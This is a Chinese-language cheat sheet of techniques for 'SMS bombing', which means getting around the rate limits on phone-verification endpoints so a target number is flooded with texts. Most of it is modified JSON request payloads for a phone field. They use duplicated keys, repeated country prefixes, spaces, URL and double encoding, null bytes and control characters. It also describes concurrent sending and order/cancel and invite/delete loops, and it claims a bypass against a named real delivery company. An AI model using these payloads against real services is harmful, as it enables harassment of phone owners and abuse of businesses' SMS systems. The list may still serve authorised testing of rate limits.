1、双写手机号姿势
原始包:
{"tcl":"18888888888"}
修改包:
{"tcl":"18888888888","tcl":"18888888888"}
{"tcl":"18888888888","18888888888"}
2、手机号前缀姿势
原始包:
{"tcl":"+86 18888888888"}
修改包:
{{"tcl":"+8686 18888888888"}}
{{"tcl":"+86+86 18888888888"}}
{{"tcl":"+86+86+86 18888888888"}}
{{"tcl":"+868686 18888888888"}}
{{"tcl":"+86+8866 18888888888"}}
3、手机号空格姿势
原始包:
{"tcl":"+86 18888888888"}
修改包:
{"tcl":"+86 18888888888 "}
{"tcl":"+86 18888888888 "}
4、手机号编码(URL编码)姿势
原始包:
{"tcl":"+86 18888888888"}
修改包:
{"tcl":"+86 1888888888%38"}
{"tcl":"+86 18888888%38%38"}
{"tcl":"+86 1888888%388%38"}
5、手机加%00和双编码姿势
原始包:
{"tcl":"+86 18888888888"}
修改包:
{"tcl":"+86 18888888888%00"}
%00继续编码继续加:
{"tcl":"+86 18888888888%25%30%30"}
{"tcl":"+86 18888888888%00%25%30%30"}
{"tcl":"+86 18888888888%25%30%30%25%30%30"}
{"tcl":"+86 18888888888%00%25%30%30%25%30%30"}
6、手机加空格编码或者空格姿势
原始包:
{"tcl":"+86 18888888888"}
修改包:
{"tcl":"+86 18888888888 "}
{"tcl":"+86 18888888888%20"}
{"tcl":"+86 18888888888%25%32%30"}
{"tcl":"+86 1888888 8888"}
{"tcl":"+86 1888888%208888"}
{"tcl":"+86 1888888%25%32%308888"}
7、并发姿势
直接并发发包,可能触发轰炸。
于此同时,开多个浏览器或者窗口通过短时间内多次进行并发,可能触发轰炸。
8、加垃圾字符串
原始包:
{"tcl":"+86 18888888888"}
修改包:
原始包:
{"tcl":"+86 18888888888a"}
原始包:
{"tcl":"+86 18888888888aa"}
原始包:
{"tcl":"+86 18888888888啊"}
9、通过下单取消功能进行轰炸
有些功能下单或者取消下单时都有短信提示,这个时候可以抓取下单和取消订单的数据包,然后通过不断下单和取消订单达到短信轰炸的目的。
10、增加前后编码来实现轰炸(货拉拉)
原始包:
{"tcl":"+86 18888888888"}
修改包:
{"tcl":"+86 18888888888 "}
{"tcl":"+86 18888888888%20"}
{"tcl":"+86 18888888888%00"}
{"tcl":"+86 18888888888%0a"}
{"tcl":"+86 18888888888%0b"}
{"tcl":"+86 18888888888"}
{"tcl":"+86 %2018888888888"}
{"tcl":"+86 %0018888888888"}
{"tcl":"+86 %0a18888888888"}
{"tcl":"+86 %0b18888888888"}
等等,货拉拉有短信验证码限制(忘了几条),但是通过这样,可以绕过
前后加:空格、%00、%0a、%0b、%0d、%09,%20,制表符
11、邀请后删除再邀请
如邀请加入团队时,会给其手机发送验证码。那么邀请完了再删除邀请,然后再邀请,可能实现重发。
如有限制条件,可以结合更改手机号编码等姿势进行双管齐下测试。